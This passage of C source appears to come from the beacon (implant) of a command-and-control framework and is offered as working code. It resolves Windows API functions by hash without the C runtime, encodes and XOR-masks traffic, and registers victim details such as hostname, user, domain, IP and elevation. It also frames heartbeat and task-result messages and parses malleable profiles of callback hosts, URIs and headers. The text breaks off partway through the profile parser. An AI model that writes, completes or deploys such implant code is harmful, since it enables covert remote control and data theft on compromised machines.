DWORD expSize = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
|
||||
if ( expRva == 0 ) return NULL;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( b + expRva );
|
||||
PDWORD names = (PDWORD)( b + exp->AddressOfNames );
|
||||
PWORD ords = (PWORD)( b + exp->AddressOfNameOrdinals );
|
||||
PDWORD funcs = (PDWORD)( b + exp->AddressOfFunctions );
|
||||
|
||||
for ( DWORD i = 0; i < exp->NumberOfNames; i++ ) {
|
||||
CHAR* name = (CHAR*)( b + names[ i ] );
|
||||
if ( NaxHashStr( name ) != h ) continue;
|
||||
|
||||
PVOID addr = C_PTR( b + funcs[ ords[ i ] ] );
|
||||
|
||||
/* forwarded export - "ModuleName.FunctionName" string inside exp dir */
|
||||
if ( (PBYTE)addr >= (PBYTE)exp && (PBYTE)addr < (PBYTE)exp + expSize ) {
|
||||
PCHAR fwd = (PCHAR)addr;
|
||||
PCHAR dot = fwd;
|
||||
WCHAR modW[ 64 ] = { 0 };
|
||||
INT pfxLen = 0;
|
||||
|
||||
while ( *dot && *dot != '.' ) dot++;
|
||||
if ( ! *dot ) return NULL;
|
||||
|
||||
pfxLen = (INT)( dot - fwd );
|
||||
if ( pfxLen <= 0 || pfxLen > 59 ) return NULL;
|
||||
if ( *( dot + 1 ) == '#' ) return NULL;
|
||||
|
||||
for ( INT j = 0; j < pfxLen; j++ ) modW[ j ] = (WCHAR)(BYTE)fwd[ j ];
|
||||
modW[ pfxLen ] = L'.';
|
||||
modW[ pfxLen + 1 ] = L'd';
|
||||
modW[ pfxLen + 2 ] = L'l';
|
||||
modW[ pfxLen + 3 ] = L'l';
|
||||
modW[ pfxLen + 4 ] = L'\0';
|
||||
|
||||
HMODULE fwdMod = NaxGetModule( NaxHashWStr( modW ) );
|
||||
if ( ! fwdMod ) return NULL;
|
||||
return NaxGetProc( fwdMod, NaxHashStr( dot + 1 ) );
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ========= [ PIC-safe helpers ] ========= */
|
||||
|
||||
/* Hex-encode `len` bytes of `src` into `dst` (no CRT, no static tables). */
|
||||
FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst ) {
|
||||
for ( UINT32 i = 0; i < len; i++ ) {
|
||||
BYTE hi = ( src[i] >> 4 ) & 0x0Fu;
|
||||
BYTE lo = src[i] & 0x0Fu;
|
||||
dst[2*i] = hi < 10 ? '0' + hi : 'a' + hi - 10;
|
||||
dst[2*i+1] = lo < 10 ? '0' + lo : 'a' + lo - 10;
|
||||
}
|
||||
dst[2 * len] = '\0';
|
||||
}
|
||||
|
||||
/* Write unsigned decimal of `val` into `buf` (not NUL-terminated). Returns byte count. */
|
||||
FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf ) {
|
||||
CHAR tmp[12];
|
||||
UINT32 i = 0, j = 0;
|
||||
if ( val == 0 ) { buf[0] = '0'; return 1; }
|
||||
while ( val > 0 ) { tmp[i++] = '0' + (CHAR)( val % 10 ); val /= 10; }
|
||||
while ( i > 0 ) { buf[j++] = tmp[--i]; }
|
||||
return j;
|
||||
}
|
||||
|
||||
/* ASCII-to-wide copy (no CRT). Writes at most `cap-1` wchars + NUL. */
|
||||
FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap ) {
|
||||
UINT32 i = 0;
|
||||
while ( src[i] && i < cap - 1 ) { dst[i] = (WCHAR)(BYTE)src[i]; i++; }
|
||||
dst[i] = L'\0';
|
||||
}
|
||||
|
||||
/* ========= [ base64 encode ] ========= */
|
||||
|
||||
FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) {
|
||||
CHAR tbl[] = {
|
||||
'A','B','C','D','E','F','G','H','I','J','K','L','M',
|
||||
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
|
||||
'a','b','c','d','e','f','g','h','i','j','k','l','m',
|
||||
'n','o','p','q','r','s','t','u','v','w','x','y','z',
|
||||
'0','1','2','3','4','5','6','7','8','9','+','/' };
|
||||
|
||||
UINT32 out_len = 4 * ( ( src_len + 2 ) / 3 );
|
||||
if ( dst_cap < out_len + 1 ) return 0;
|
||||
|
||||
UINT32 i = 0, j = 0;
|
||||
while ( i < src_len ) {
|
||||
UINT32 a = i < src_len ? (BYTE)src[ i++ ] : 0;
|
||||
UINT32 b = i < src_len ? (BYTE)src[ i++ ] : 0;
|
||||
UINT32 c = i < src_len ? (BYTE)src[ i++ ] : 0;
|
||||
UINT32 triple = ( a << 16 ) | ( b << 8 ) | c;
|
||||
dst[ j++ ] = tbl[ ( triple >> 18 ) & 0x3F ];
|
||||
dst[ j++ ] = tbl[ ( triple >> 12 ) & 0x3F ];
|
||||
dst[ j++ ] = tbl[ ( triple >> 6 ) & 0x3F ];
|
||||
dst[ j++ ] = tbl[ triple & 0x3F ];
|
||||
}
|
||||
|
||||
UINT32 pad = ( 3 - src_len % 3 ) % 3;
|
||||
for ( UINT32 p = 0; p < pad; p++ )
|
||||
dst[ out_len - 1 - p ] = '=';
|
||||
|
||||
dst[ out_len ] = '\0';
|
||||
return out_len;
|
||||
}
|
||||
|
||||
/* ========= [ base64url encode ] ========= */
|
||||
|
||||
FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) {
|
||||
UINT32 n = NaxBase64Encode( src, src_len, dst, dst_cap );
|
||||
for ( UINT32 i = 0; i < n; i++ ) {
|
||||
if ( dst[i] == '+' ) dst[i] = '-';
|
||||
else if ( dst[i] == '/' ) dst[i] = '_';
|
||||
else if ( dst[i] == '=' ) { n = i; dst[i] = '\0'; break; }
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
/* ========= [ base64 decode ] ========= */
|
||||
|
||||
FUNC INT NaxB64Val( CHAR c ) {
|
||||
if ( c >= 'A' && c <= 'Z' ) return c - 'A';
|
||||
if ( c >= 'a' && c <= 'z' ) return c - 'a' + 26;
|
||||
if ( c >= '0' && c <= '9' ) return c - '0' + 52;
|
||||
if ( c == '+' || c == '-' ) return 62;
|
||||
if ( c == '/' || c == '_' ) return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
UINT32 di = 0;
|
||||
UINT32 si = 0;
|
||||
while ( si < src_len && di < dst_cap ) {
|
||||
INT a = -1, b = -1, c = -1, d = -1;
|
||||
while ( si < src_len && a < 0 ) a = NaxB64Val( src[si++] );
|
||||
while ( si < src_len && b < 0 ) b = NaxB64Val( src[si++] );
|
||||
if ( a < 0 || b < 0 ) break;
|
||||
dst[di++] = (BYTE)( ( a << 2 ) | ( b >> 4 ) );
|
||||
while ( si < src_len && src[si] == '=' ) si++;
|
||||
if ( si >= src_len ) break;
|
||||
c = NaxB64Val( src[si++] );
|
||||
if ( c < 0 ) break;
|
||||
if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( b & 0x0F ) << 4 ) | ( c >> 2 ) );
|
||||
while ( si < src_len && src[si] == '=' ) si++;
|
||||
if ( si >= src_len ) break;
|
||||
d = NaxB64Val( src[si++] );
|
||||
if ( d < 0 ) break;
|
||||
if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( c & 0x03 ) << 6 ) | d );
|
||||
}
|
||||
return di;
|
||||
}
|
||||
|
||||
/* ========= [ hex decode ] ========= */
|
||||
|
||||
FUNC INT NaxHexNibble( CHAR c ) {
|
||||
if ( c >= '0' && c <= '9' ) return c - '0';
|
||||
if ( c >= 'a' && c <= 'f' ) return c - 'a' + 10;
|
||||
if ( c >= 'A' && c <= 'F' ) return c - 'A' + 10;
|
||||
return -1;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
UINT32 di = 0;
|
||||
for ( UINT32 i = 0; i + 1 < src_len && di < dst_cap; i += 2 ) {
|
||||
INT hi = NaxHexNibble( src[i] );
|
||||
INT lo = NaxHexNibble( src[i + 1] );
|
||||
if ( hi < 0 || lo < 0 ) break;
|
||||
dst[di++] = (BYTE)( ( hi << 4 ) | lo );
|
||||
}
|
||||
return di;
|
||||
}
|
||||
|
||||
/* ========= [ XOR mask/unmask ] ========= */
|
||||
|
||||
FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
if ( dst_cap < src_len + 4 ) return 0;
|
||||
BYTE key[4];
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, key, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
MmCopy( dst, key, 4 );
|
||||
for ( UINT32 i = 0; i < src_len; i++ )
|
||||
dst[4 + i] = src[i] ^ key[i % 4];
|
||||
return src_len + 4;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
|
||||
if ( src_len < 4 ) return 0;
|
||||
UINT32 data_len = src_len - 4;
|
||||
if ( dst_cap < data_len ) return 0;
|
||||
PBYTE key = src;
|
||||
for ( UINT32 i = 0; i < data_len; i++ )
|
||||
dst[i] = src[4 + i] ^ key[i % 4];
|
||||
return data_len;
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
/* beacon/src/Core/Packer.c
|
||||
* Wire-v0 frame encode / decode. PIC port of agent/src/packer.c.
|
||||
* No CRT: uses MmCopy(__builtin_memcpy). Callers supply string lengths. */
|
||||
|
||||
#include "Macros.h"
|
||||
#include "Wire.h"
|
||||
#include "Instance.h"
|
||||
|
||||
/* ========= [ LE write helpers ] ========= */
|
||||
|
||||
FUNC VOID NaxW16( PBYTE p, UINT16 v ) {
|
||||
p[0] = (BYTE)( v & 0xFFu );
|
||||
p[1] = (BYTE)( ( v >> 8 ) & 0xFFu );
|
||||
}
|
||||
|
||||
FUNC VOID NaxW32( PBYTE p, UINT32 v ) {
|
||||
p[0] = (BYTE)( v & 0xFFu );
|
||||
p[1] = (BYTE)( ( v >> 8 ) & 0xFFu );
|
||||
p[2] = (BYTE)( ( v >> 16 ) & 0xFFu );
|
||||
p[3] = (BYTE)( ( v >> 24 ) & 0xFFu );
|
||||
}
|
||||
|
||||
FUNC UINT16 NaxR16( const PBYTE p ) {
|
||||
return (UINT16)p[0] | ( (UINT16)p[1] << 8 );
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxR32( const PBYTE p ) {
|
||||
return (UINT32)p[0] | ( (UINT32)p[1] << 8 ) | ( (UINT32)p[2] << 16 ) | ( (UINT32)p[3] << 24 );
|
||||
}
|
||||
|
||||
/* ========= [ frame encode ] ========= */
|
||||
|
||||
FUNC INT NaxFrameEncode( BYTE msg_type,
|
||||
const PBYTE body, UINT32 body_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
if ( *out_len < NAX_FRAME_HDR + body_len )
|
||||
return NAX_ERR_NOMEM;
|
||||
|
||||
out[0] = msg_type;
|
||||
out[1] = 0;
|
||||
NaxW32( out + 2, body_len );
|
||||
if ( body_len > 0 && body != NULL )
|
||||
MmCopy( out + NAX_FRAME_HDR, body, body_len );
|
||||
*out_len = NAX_FRAME_HDR + body_len;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ frame decode ] ========= */
|
||||
|
||||
FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len,
|
||||
BYTE* msg_type, PBYTE* body,
|
||||
UINT32* body_len ) {
|
||||
if ( frame_len < NAX_FRAME_HDR )
|
||||
return NAX_ERR_WIRE;
|
||||
UINT32 bl = NaxR32( frame + 2 );
|
||||
if ( NAX_FRAME_HDR + bl > frame_len )
|
||||
return NAX_ERR_WIRE;
|
||||
if ( msg_type )
|
||||
*msg_type = frame[0];
|
||||
if ( body )
|
||||
*body = (PBYTE)frame + NAX_FRAME_HDR;
|
||||
if ( body_len )
|
||||
*body_len = bl;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ REGISTER body ] ========= */
|
||||
|
||||
/* Builds REGISTER body (no outer frame header).
|
||||
* hn/un/ip/dom/proc are UTF-8 strings with explicit lengths. */
|
||||
FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len,
|
||||
const PCHAR un, UINT32 un_len,
|
||||
BYTE arch,
|
||||
UINT32 pid,
|
||||
UINT32 sleep_ms,
|
||||
UINT32 tid,
|
||||
const PCHAR ip, UINT32 ip_len,
|
||||
const PCHAR dom, UINT32 dom_len,
|
||||
const PCHAR proc, UINT32 proc_len,
|
||||
BYTE elevated,
|
||||
UINT32 os_major,
|
||||
UINT32 os_minor,
|
||||
UINT16 os_build,
|
||||
UINT32 parent_pid,
|
||||
UINT32 acp,
|
||||
UINT32 oem_cp,
|
||||
const PCHAR img, UINT32 img_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
UINT32 needed = 2 + hn_len + 2 + un_len + 1 + 4 + 4 + 4 +
|
||||
2 + ip_len + 2 + dom_len + 2 + proc_len +
|
||||
1 + 4 + 4 + 2 + 4 + 4 + 4 + 2 + img_len;
|
||||
if ( *out_len < needed ) return NAX_ERR_NOMEM;
|
||||
|
||||
PBYTE p = out;
|
||||
NaxW16( p, (UINT16)hn_len ); p += 2; MmCopy( p, hn, hn_len ); p += hn_len;
|
||||
NaxW16( p, (UINT16)un_len ); p += 2; MmCopy( p, un, un_len ); p += un_len;
|
||||
*p++ = arch;
|
||||
NaxW32( p, pid ); p += 4;
|
||||
NaxW32( p, sleep_ms ); p += 4;
|
||||
NaxW32( p, tid ); p += 4;
|
||||
NaxW16( p, (UINT16)ip_len ); p += 2; MmCopy( p, ip, ip_len ); p += ip_len;
|
||||
NaxW16( p, (UINT16)dom_len ); p += 2; MmCopy( p, dom, dom_len ); p += dom_len;
|
||||
NaxW16( p, (UINT16)proc_len ); p += 2;
|
||||
if ( proc_len > 0 ) MmCopy( p, proc, proc_len );
|
||||
p += proc_len;
|
||||
*p++ = elevated;
|
||||
NaxW32( p, os_major ); p += 4;
|
||||
NaxW32( p, os_minor ); p += 4;
|
||||
NaxW16( p, os_build ); p += 2;
|
||||
NaxW32( p, parent_pid ); p += 4;
|
||||
NaxW32( p, acp ); p += 4;
|
||||
NaxW32( p, oem_cp ); p += 4;
|
||||
NaxW16( p, (UINT16)img_len ); p += 2;
|
||||
if ( img_len > 0 ) MmCopy( p, img, img_len );
|
||||
p += img_len;
|
||||
|
||||
*out_len = needed;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ HEARTBEAT frame ] ========= */
|
||||
|
||||
FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len ) {
|
||||
return NaxFrameEncode( NAX_WIRE_HEARTBEAT, NULL, 0, out, out_len );
|
||||
}
|
||||
|
||||
/* ========= [ TASK body decode ] ========= */
|
||||
|
||||
FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t ) {
|
||||
/* TASK body: task_id(4) + cmd_id(1) + args_len(4) + args(n) = min 9 */
|
||||
if ( body_len < 9 )
|
||||
return NAX_ERR_WIRE;
|
||||
t->TaskId = NaxR32( body );
|
||||
t->CmdId = body[4];
|
||||
t->ArgsLen = NaxR32( body + 5 );
|
||||
if ( 9u + t->ArgsLen > body_len )
|
||||
return NAX_ERR_WIRE;
|
||||
t->Args = ( t->ArgsLen > 0 ) ? (PBYTE)body + 9 : NULL;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ RESULT frame ] ========= */
|
||||
|
||||
FUNC INT NaxBuildResult( UINT32 task_id,
|
||||
BYTE status,
|
||||
const PBYTE data, UINT32 data_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
if ( data_len > 0 && data == NULL )
|
||||
return NAX_ERR_INVAL;
|
||||
UINT32 body_len = 4 + 1 + 4 + data_len;
|
||||
UINT32 needed = NAX_FRAME_HDR + body_len;
|
||||
if ( *out_len < needed )
|
||||
return NAX_ERR_NOMEM;
|
||||
|
||||
out[0] = NAX_WIRE_RESULT;
|
||||
out[1] = 0;
|
||||
NaxW32( out + 2, body_len );
|
||||
|
||||
PBYTE p = out + NAX_FRAME_HDR;
|
||||
NaxW32( p, task_id );
|
||||
p += 4;
|
||||
*p++ = status;
|
||||
NaxW32( p, data_len );
|
||||
p += 4;
|
||||
if ( data_len > 0 )
|
||||
MmCopy( p, data, data_len );
|
||||
|
||||
*out_len = needed;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,330 @@
|
||||
/* beacon/src/Core/PackerProfile.c
|
||||
* PROFILE v1/v2 wire format decoder. Splits from Packer.c for readability.
|
||||
* Uses NaxR16 / NaxR32 from Packer.c via forward declarations. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
/* ========= [ PROFILE body decode helpers ] ========= */
|
||||
|
||||
/* Reads a length-prefixed string (len:uint16LE + bytes) from `data` at `*off`.
|
||||
* Copies up to `cap-1` bytes into `dst`, NUL-terminates. Advances `*off`. */
|
||||
FUNC INT NaxReadLpStr( const PBYTE data, UINT32 data_len, UINT32* off, PCHAR dst, UINT32 cap ) {
|
||||
if ( *off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
UINT16 slen = NaxR16( data + *off );
|
||||
*off += 2;
|
||||
if ( *off + slen > data_len ) return NAX_ERR_WIRE;
|
||||
UINT32 cpy = slen < cap - 1 ? slen : cap - 1;
|
||||
MmCopy( dst, data + *off, cpy );
|
||||
dst[ cpy ] = '\0';
|
||||
*off += slen;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* Skips a length-prefixed string without copying content. */
|
||||
FUNC INT NaxSkipLpStr( const PBYTE data, UINT32 data_len, UINT32* off ) {
|
||||
if ( *off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
UINT16 slen = NaxR16( data + *off );
|
||||
*off += 2 + slen;
|
||||
if ( *off > data_len ) return NAX_ERR_WIRE;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* Reads one OutputConfig block from the wire binary.
|
||||
* Wire layout: format(1) + mask(1) + placement(1) + name(lpstr)
|
||||
* + prepend(lpstr) + append(lpstr) + empty_resp(lpstr) */
|
||||
FUNC INT NaxReadOutputCfg( const PBYTE data, UINT32 data_len, UINT32* off, NAX_OUTPUT_CFG* cfg ) {
|
||||
if ( *off + 3 > data_len ) return NAX_ERR_WIRE;
|
||||
cfg->Format = data[ *off ]; *off += 1;
|
||||
cfg->Mask = data[ *off ]; *off += 1;
|
||||
cfg->Placement = data[ *off ]; *off += 1;
|
||||
|
||||
INT rc;
|
||||
rc = NaxReadLpStr( data, data_len, off, cfg->Name, 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
UINT32 before;
|
||||
UINT16 slen;
|
||||
|
||||
before = *off;
|
||||
rc = NaxReadLpStr( data, data_len, off, cfg->Prepend, 512 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
|
||||
cfg->PrependLen = slen < 511 ? slen : 511;
|
||||
|
||||
before = *off;
|
||||
rc = NaxReadLpStr( data, data_len, off, cfg->Append, 512 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
|
||||
cfg->AppendLen = slen < 511 ? slen : 511;
|
||||
|
||||
before = *off;
|
||||
rc = NaxReadLpStr( data, data_len, off, cfg->EmptyResp, 512 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
|
||||
cfg->EmptyRespLen = slen < 511 ? slen : 511;
|
||||
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* --------- [ v2 profile parser ] --------- */
|
||||
|
||||
/* Decode PROFILE v2 frame body into NAX_CONFIG fields.
|
||||
* V2 wire format (all LE):
|
||||
* version(1) + rotation(1)
|
||||
* user_agent: lpstr
|
||||
* beacon_id_hdr: lpstr
|
||||
* host_count(2) [lpstr]...
|
||||
* server_error: err_status(2) + err_body(lpstr) + err_hdr_count(2) + [lpstr]...
|
||||
* GET block:
|
||||
* uri_count(2) [lpstr]...
|
||||
* client_meta: OutputConfig
|
||||
* client_hdr_count(2) [lpstr]...
|
||||
* client_param_count(2) [lpstr]...
|
||||
* server_output: OutputConfig
|
||||
* server_hdr_count(2) [lpstr]... (skipped)
|
||||
* POST block:
|
||||
* uri_count(2) [lpstr]...
|
||||
* client_meta: OutputConfig
|
||||
* client_output: OutputConfig
|
||||
* client_hdr_count(2) [lpstr]...
|
||||
* server_output: OutputConfig
|
||||
* server_hdr_count(2) [lpstr]... (skipped)
|
||||
*
|
||||
* Falls back to v1 flat format when version != 0x02. */
|
||||
FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax ) {
|
||||
UINT32 off = 0;
|
||||
INT rc;
|
||||
UINT16 itemCount;
|
||||
UINT16 i;
|
||||
|
||||
if ( data_len < 2 ) return NAX_ERR_WIRE;
|
||||
|
||||
BYTE first = data[ off ]; off += 1;
|
||||
|
||||
if ( first == 0x02 ) {
|
||||
/* ========= v2 format ========= */
|
||||
Nax->Config.ProfileVersion = 2;
|
||||
Nax->Config.Rotation = data[ off ]; off += 1;
|
||||
|
||||
/* User-Agent */
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* Beacon ID header name */
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.BeaconIdHdr, 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* Callback hosts */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 4 ) itemCount = 4;
|
||||
Nax->Config.HostCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.Hosts[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* Server error block - beacon doesn't use, skip entirely */
|
||||
/* err_status(2) */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
off += 2;
|
||||
/* err_body(lpstr) */
|
||||
rc = NaxSkipLpStr( data, data_len, &off );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
/* err_hdr_count(2) + [lpstr]... */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxSkipLpStr( data, data_len, &off );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* --------- GET block --------- */
|
||||
|
||||
/* GET URIs */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.GetUriCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* GET client metadata OutputConfig */
|
||||
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetClientMeta );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* GET client headers */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.GetClientHdrCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* GET client parameters */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.GetClientParamCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientParams[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* GET server output OutputConfig */
|
||||
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetServerOutput );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* GET server headers - beacon doesn't need, skip */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxSkipLpStr( data, data_len, &off );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* --------- POST block --------- */
|
||||
|
||||
/* POST URIs */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.PostUriCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* POST client metadata OutputConfig */
|
||||
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientMeta );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* POST client output OutputConfig */
|
||||
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientOutput );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* POST client headers */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.PostClientHdrCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostClientHdrs[ i ], 256 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* POST server output OutputConfig */
|
||||
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostServerOutput );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
|
||||
/* POST server headers - beacon doesn't need, skip */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxSkipLpStr( data, data_len, &off );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
} else {
|
||||
/* ========= v1 fallback ========= */
|
||||
/* In v1 there is no version byte - first byte was rotation */
|
||||
Nax->Config.ProfileVersion = 1;
|
||||
Nax->Config.Rotation = first;
|
||||
|
||||
/* GET URIs */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.GetUriCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* POST URIs */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.PostUriCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* User-Agents - v1 had a list, take the first one */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
UINT16 ua_count = NaxR16( data + off ); off += 2;
|
||||
for ( i = 0; i < ua_count; i++ ) {
|
||||
if ( i == 0 ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 );
|
||||
} else {
|
||||
rc = NaxSkipLpStr( data, data_len, &off );
|
||||
}
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* Extra headers - map to GetClientHdrs */
|
||||
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
|
||||
itemCount = NaxR16( data + off ); off += 2;
|
||||
if ( itemCount > 8 ) itemCount = 8;
|
||||
Nax->Config.GetClientHdrCount = (BYTE)itemCount;
|
||||
for ( i = 0; i < itemCount; i++ ) {
|
||||
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 );
|
||||
if ( rc != NAX_OK ) return rc;
|
||||
}
|
||||
|
||||
/* Cookie name - map to GetClientMeta with COOKIE placement, BASE64 format */
|
||||
CHAR cookie_name[ 64 ];
|
||||
MmZero( cookie_name, 64 );
|
||||
